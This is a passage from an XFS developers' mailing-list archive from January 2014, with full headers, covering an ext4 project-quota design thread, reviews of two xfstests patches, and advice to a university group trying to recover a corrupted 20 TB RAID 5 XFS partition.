> > + x > > > + ok error (EXDEV) > > > x ok error (EXDEV) > > > > > > rename(2) > > > --------- > > > + x > > > + ok ok > > > x wrong ok > > So moving unaccounted file/dir into an accounted dir would be OK? How is > > that? > > Actually xfs will return EXDEV error when we try to move unaccounted > file/dir into an accounted dir. Then userspace tools (e.g. mv(1)) will > use create(2)/read(2)/write(2) syscalls to create these files/dirs from > scratch, and get the same id from their parent. So from the result we > can see it is ok. Quote from Dave Chinner's comment: "that quota is > accounted for when moving *into* an accounted directory tree, not when > moving out of a directory tree." OK, so if we return EXDEV then I'm fine with it. Letting rename succeed would be messy (as it would break the tree inheritance of project id). > > > 2. http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F > > > > > > Design > > > ====== > > > > > > Project id > > > ---------- > > > We have two options to store project id in inode. a) define a new member > > > in ext4_inode structure; b) store project id in xattr. > > > > > > Option a) > > > Pros: > > > * Only need 4 bytes if we use a '__le32' type to store it > > > > > > Cons: > > > * Needs to change disk layout of ext4 inode > > > > > > Option b) > > > Pros: > > > * Don't need to change disk layout > > > > > > Cons: > > > * Take 24 bytes > > Cons of the b) is also that it's somewhat messier to get / set project id > > from kernel. So I'm more in favor of a). I even think we could introduce > > the additional id rather seamlessly using i_extra_i_size but I have to have > > a look into details. Anyway I guess we can talk about the options at LSF. > > I don't have a bias against both of two options. It seems that we can > introduce a new id seamlessly using i_extra_isize. > > 1) old kernel + new disk layout > We can read/write new inode because new id doesn't be changed. old kernel + new disk layout will have to be read-only mount. Similarly to other quota features. > 2) new kernel + old disk layout > We can use EXT4_FITS_IN_INODE to check whether new id can fit into an > inode or not. We will check and report error when we try to enable > project quota on a file system with old disk layout in ext4_fill_super(). I expect tune2fs will be used to enable project quota feature. So it can refuse to enable the feature when inode isn't large enough to allow it. > > > Here I propose to use option *b)* because it is easy for us to support > > > project id and we don't need to worry about changing disk layout. But > > > I raise another issue here. Now inline_data feature has been applied. > > > After waiting inline_data feature stable, we'd better enable inline_data > > > feature by default when we create a new ext4 file system. Now the inode > > > size is 256 bytes by default, we have 72 bytes extra size to store > > > inline data: > > > 256 (default inode size) - > > > 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + > > > 20 (ext4_xattr_entry) + 4 (value) = 72 > > > > > > If we store project id in xattr, we just leave 48 bytes for inline data. > > > I am not sure whether or not it is too small for some users. > > > > > > When we store project id in xattr, we will use {get,set}fattr to get/set > > > project id. Thus we don't need to change userspace tool to manipulate > > > project id. Meanwhile a _INHERENT flag for inode needs to be defined to > > > indicate that new directory creating in a directory with this flag will > > > get the same project id and get marked with this flag. > > > > > > Project quota API > > > ----------------- > > > For keeping consistency with xfs, here I propose to use Q_X* flag to > > > communicate with kernel via quotactl(2) as we discussed. Due to this we > > > need to define some callback functions to support Q_X* flag. That means > > > that ext4 will support two quota flag sets for being compatible with > > > legacy userspace tools and use the same quotactl API to communicate with > > > kernel for project id like xfs. > > We can as well extend current VFS API to cover also project quotas. That > > would make things somewhat more logical from userspace POV. > > Your meaning is that we support Q_* flag and Q_X* flag simultaneously? Well, kernel quota interface does support both sets of flags. It calls different callbacks for e.g. Q_GETQUOTA and Q_XGETQUOTA though. And for ext4 it is more natural to have the callback for Q_GETQUOTA called since that's what it uses for user and group quotas. So I meant we can extend e.g. Q_GETQUOTA to also handle project quotas, not only user and group quotas. Honza -- Jan Kara <jack@suse.cz> SUSE Labs, CR From jeff.liu@oracle.com Wed Jan 29 05:55:39 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8ADB27F90 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:55:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C3EDAC00A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 03:55:39 -0800 (PST) X-ASG-Debug-ID: 1390996534-04bdf030e91f9de0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id W9WDKAJJxxVmZyHN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 03:55:35 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0TBtWct031547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 11:55:34 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TBtWAE007644 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 11:55:32 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TBtWFS007636; Wed, 29 Jan 2014 11:55:32 GMT Received: from [192.168.1.101] (/60.212.5.88) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 29 Jan 2014 03:55:32 -0800 Message-ID: <52E8EC2F.1080600@oracle.com> Date: Wed, 29 Jan 2014 19:55:27 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster <bfoster@redhat.com>, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: remove spurious line continuation from _require_xfs_crc References: <1390932092-44727-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: remove spurious line continuation from _require_xfs_crc In-Reply-To: <1390932092-44727-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390996535 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/29 2014日 02:01 AM, Brian Foster wrote: > This causes the mkfs to fail and leads to tests being skipped. > > Signed-off-by: Brian Foster <bfoster@redhat.com> > --- > common/rc | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/common/rc b/common/rc > index 49c86de..e91568b 100644 > --- a/common/rc > +++ b/common/rc > @@ -1180,7 +1180,7 @@ _require_xfs_mkfs_crc() > # > _require_xfs_crc() > { > - _scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 \ > + _scratch_mkfs_xfs -m crc=1 >/dev/null 2>&1 > _scratch_mount >/dev/null 2>&1 \ > || _notrun "Kernel doesn't support crc feature" > umount $SCRATCH_MNT > Looks good to me. Reviewed-by: Jie Liu <jeff.liu@oracle.com> Thanks, -Jeff From jeff.liu@oracle.com Wed Jan 29 05:58:29 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 757FF7F90 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:58:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E90F6AC009 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 03:58:28 -0800 (PST) X-ASG-Debug-ID: 1390996707-04cb6c31f518dd90001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id kXXV4A1fNUIZsDSH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 03:58:27 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0TBwQUo003263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 11:58:27 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TBwPRH014360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 11:58:25 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0TBwPMC014354; Wed, 29 Jan 2014 11:58:25 GMT Received: from [192.168.1.101] (/60.212.5.88) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 29 Jan 2014 03:58:25 -0800 Message-ID: <52E8ECDD.8050303@oracle.com> Date: Wed, 29 Jan 2014 19:58:21 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster <bfoster@redhat.com>, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: don't use TEST_DIR before initialized in generic/313 References: <1390950403-19755-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: don't use TEST_DIR before initialized in generic/313 In-Reply-To: <1390950403-19755-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390996707 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On 01/29 2014 07:06 AM, Brian Foster wrote: > The 'testfile' environment variable is initialized before the > xfstests environment is included into generic/313. TEST_DIR is not > defined at this point and causes the test to operate on the root. > Move the testfile initialization down after the general environment > is sourced. > > Signed-off-by: Brian Foster <bfoster@redhat.com> > --- > tests/generic/313 | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/tests/generic/313 b/tests/generic/313 > index 1237ded..623c777 100755 > --- a/tests/generic/313 > +++ b/tests/generic/313 > @@ -29,7 +29,6 @@ seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > here=`pwd` > -testfile=$TEST_DIR/testfile.$seq > status=1 # failure is the default! > trap "_cleanup; exit \$status" 0 1 2 3 15 > > @@ -47,6 +46,8 @@ _cleanup() > _supported_fs generic > _supported_os IRIX Linux > > +testfile=$TEST_DIR/testfile.$seq > + > echo "Silence is golden" > > $here/src/t_truncate_cmtime $testfile 2>&1 Reviewed-by: Jie Liu <jeff.liu@oracle.com> Thanks, -Jeff From bfoster@redhat.com Wed Jan 29 07:14:09 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 828447F8A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:14:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B996AC004 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:14:05 -0800 (PST) X-ASG-Debug-ID: 1391001245-04bdf030eb1fd180001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id pt08lxs0biQkWYqU for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:14:05 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0TDDcQf011333 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 29 Jan 2014 08:13:39 -0500 Received: from laptop.bfoster (vpn-48-184.rdu2.redhat.com [10.10.48.184]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0TDDbb5024477 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 29 Jan 2014 08:13:38 -0500 Message-ID: <52E8FE81.7040402@redhat.com> Date: Wed, 29 Jan 2014 08:13:37 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: xfs@oss.sgi.com CC: hch@infradead.org Subject: Re: [xfs] c91c46c12: xfstests generic/313 regression References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> X-ASG-Orig-Subj: Re: [xfs] c91c46c12: xfstests generic/313 regression In-Reply-To: <20140111111045.GA29380@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391001245 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/11/2014 06:10 AM, Christoph Hellwig wrote: > On Fri, Jan 10, 2014 at 10:01:00PM +0800, Jeff Liu wrote: >> I also thought to fix this problem in this way, however I'm not sure >> if those flags can be set back to iattr->ia_valid internally... >> >> Otherwise, this fix looks good to me. > > Nothing in the truncate or open code path (or non-size setattr for that > matter) looks at ia_valid after calling the filesystem, and they really > have no business to. > > In the meantime this has passed xfstests, so I'll send it along. Thanks > for the first fix, btw! > ping... any plans to repost this with a proper commit log and whatnot? Thanks. Brian > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sillero@torroja.dmt.upm.es Wed Jan 29 07:40:05 2014 Return-Path: <sillero@torroja.dmt.upm.es> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 51D227F37 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 07:40:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC6B7AC004 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:40:04 -0800 (PST) X-ASG-Debug-ID: 1391002800-04bdf030eb1fe0e0001-NocioJ Received: from torroja.dmt.upm.es (torroja.dmt.upm.es [138.4.116.3]) by cuda.sgi.com with ESMTP id zyVleYbCsgivJVgl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 05:40:02 -0800 (PST) X-Barracuda-Envelope-From: sillero@torroja.dmt.upm.es X-Barracuda-Apparent-Source-IP: 138.4.116.3 Received: from [138.4.116.65] (islero.dmt.upm.es [138.4.116.65]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by torroja.dmt.upm.es (Postfix) with ESMTPS id 367A63401F5 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:40:00 +0100 (CET) Message-ID: <1391002795.2573.79.camel@islero.dmt.upm.es> Subject: Not being able to recover a RAID 5 20 Tb partition, help needed From: "Juan A. Sillero" <sillero@torroja.dmt.upm.es> X-ASG-Orig-Subj: Not being able to recover a RAID 5 20 Tb partition, help needed Reply-To: sillero@torroja.dmt.upm.es To: xfs@oss.sgi.com Date: Wed, 29 Jan 2014 14:39:55 +0100 Organization: UPM Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3 (3.2.3-3.fc16) Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Barracuda-Connect: torroja.dmt.upm.es[138.4.116.3] X-Barracuda-Start-Time: 1391002801 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC5_SA210e Custom Rule SA210e Hello, We are a pioneering group in turbulence at the Polytechnic University of Madrid (torroja.dmt.upm.es), running simulations in supercomputing centers all around the world and hosting massive data in our data center that are publicly accessible. Apparently we have lost one of our partitions of 20 Tb because of a under-voltage error of a power source plus a disk failure and we are trying to fix it, but it does not look good so far. The system is setup as follow: XFS 6.1 Raid 5 (12 x 2 disks of 2 Tb each) Double disk controller managed by devmapper. What we know at this point is the next: 1) The topology of the disk is lost: the main-boot-record and the GPT are corrupted. 2) After running the testdisk utility we find 9 partitions instead of 1. 3) With gdisk we have tried to create a new main-boot-record and GPT, but it has not worked. 4) We know that the blocksize is 4096 bytes, and the current capacity of the raid is under 20 Tb, so we suspect that even if the disk-manager says that the RAID is ok, it has not reconstructed the RAID after the disk failing. We are stuck right now at this point, and help would be really appreciated in order to bring up the partition. We will be pleased to acknowledge the group in the upcoming publications. Thanks again, Juan A. Sillero From sandeen@sandeen.net Wed Jan 29 08:00:58 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8A1F27F60 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:00:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D1A3AC005 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:00:57 -0800 (PST) X-ASG-Debug-ID: 1391004056-04cbb05bab1e4f70001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id oYfXWqgmmhpNRtpE for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:00:56 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E7CBB6088B50; Wed, 29 Jan 2014 08:00:55 -0600 (CST) Message-ID: <52E90998.5050805@sandeen.net> Date: Wed, 29 Jan 2014 08:00:56 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: sillero@torroja.dmt.upm.es, xfs@oss.sgi.com Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed References: <1391002795.2573.79.camel@islero.dmt.upm.es> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: <1391002795.2573.79.camel@islero.dmt.upm.es> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391004056 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144604 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC5_SA210e Custom Rule SA210e On 1/29/14, 7:39 AM, Juan A. Sillero wrote: > Hello, > > We are a pioneering group in turbulence at the Polytechnic University of > Madrid (torroja.dmt.upm.es), running simulations in supercomputing > centers all around the world and hosting massive data in our data center > that are publicly accessible. > > Apparently we have lost one of our partitions of 20 Tb because of a > under-voltage error of a power source plus a disk failure and we are > trying to fix it, but it does not look good so far. You lost only 1 disk? So what exactly happened - what have you encountered, and what have you done to try to fix it so far? General rule - do NOT run xfs_repair in modification mode (i.e. defaults, without "-n") or any other writes to the storage until you know the storage is properly re-assembled. > The system is setup as follow: > XFS 6.1 Is this some variant of RHEL6.1? XFS doesn't have version numbers like that. (Probably not IRIX 6.1?) :) > Raid 5 (12 x 2 disks of 2 Tb each) > Double disk controller managed by devmapper. > > What we know at this point is the next: > > 1) The topology of the disk is lost: the main-boot-record and the GPT > are corrupted. Which makes me think that the raid is possibly not in good shape. > 2) After running the testdisk utility we find 9 partitions instead of 1. > 3) With gdisk we have tried to create a new main-boot-record and GPT, > but it has not worked. Darn, so it sounds like you've already written to the storage. > 4) We know that the blocksize is 4096 bytes, and the current capacity of > the raid is under 20 Tb, so we suspect that even if the disk-manager > says that the RAID is ok, it has not reconstructed the RAID after the > disk failing. I think you are right. > We are stuck right now at this point, and help would be really > appreciated in order to bring up the partition. We will be pleased to > acknowledge the group in the upcoming publications. Unfortunately it doesn't sound like an XFS problem at this point, but rather a storage problem. It's probably worth reaching out to the device mapper people first, perhaps they can help make sure the raid is properly reassembled. Then we can see about picking up the XFS pieces if any are left. -Eric > Thanks again, Juan A. Sillero > > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From roger@filmlight.ltd.uk Wed Jan 29 08:07:10 2014 Return-Path: <roger@filmlight.ltd.uk> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C66C77F8A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A45B9304075 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:07:07 -0800 (PST) X-ASG-Debug-ID: 1391004421-04cb6c75091caf40001-NocioJ Received: from b.mx.filmlight.ltd.uk (b.mx.filmlight.ltd.uk [77.107.81.251]) by cuda.sgi.com with SMTP id d6g3CwL2QRXBJbiw for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:07:02 -0800 (PST) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.251 Received: (dqd 10788 invoked from network); 29 Jan 2014 14:07:01 -0000 Received: from montana.filmlight.ltd.uk (HELO ?10.44.0.132?) (roger@10.44.0.132) by b.mx.filmlight.ltd.uk with SMTP; 29 Jan 2014 14:07:01 -0000 Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed From: Roger Willcocks <roger@filmlight.ltd.uk> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed To: Eric Sandeen <sandeen@sandeen.net> Cc: sillero@torroja.dmt.upm.es, xfs@oss.sgi.com In-Reply-To: <52E90998.5050805@sandeen.net> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <52E90998.5050805@sandeen.net> Content-Type: text/plain Date: Wed, 29 Jan 2014 14:07:01 +0000 Message-Id: <1391004421.4294.68.camel@montana.filmlight.ltd.uk> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-19.el5) Content-Transfer-Encoding: 7bit X-Barracuda-Connect: b.mx.filmlight.ltd.uk[77.107.81.251] X-Barracuda-Start-Time: 1391004422 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144604 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: On Wed, 2014-01-29 at 08:00 -0600, Eric Sandeen wrote: > > The system is setup as follow: > > XFS 6.1 > > Is this some variant of RHEL6.1? XFS doesn't have version numbers > like that. (Probably not IRIX 6.1?) :) See xfs_sb.h - #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ #define XFS_SB_VERSION_2 2 /* 6.2 - attributes */ #define XFS_SB_VERSION_3 3 /* 6.2 - new inode version */ #define XFS_SB_VERSION_4 4 /* 6.2+ - bitmask version */ > -- Roger Willcocks <roger@filmlight.ltd.uk> From sandeen@sandeen.net Wed Jan 29 08:18:29 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A27E7F63 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 08:18:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6942304075 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:18:28 -0800 (PST) X-ASG-Debug-ID: 1391005107-04cbb05ba91e5eb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id O0FIwouZHDf3mL4N for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 06:18:28 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [10.0.0.77] (eric-iphone.sandeen.net 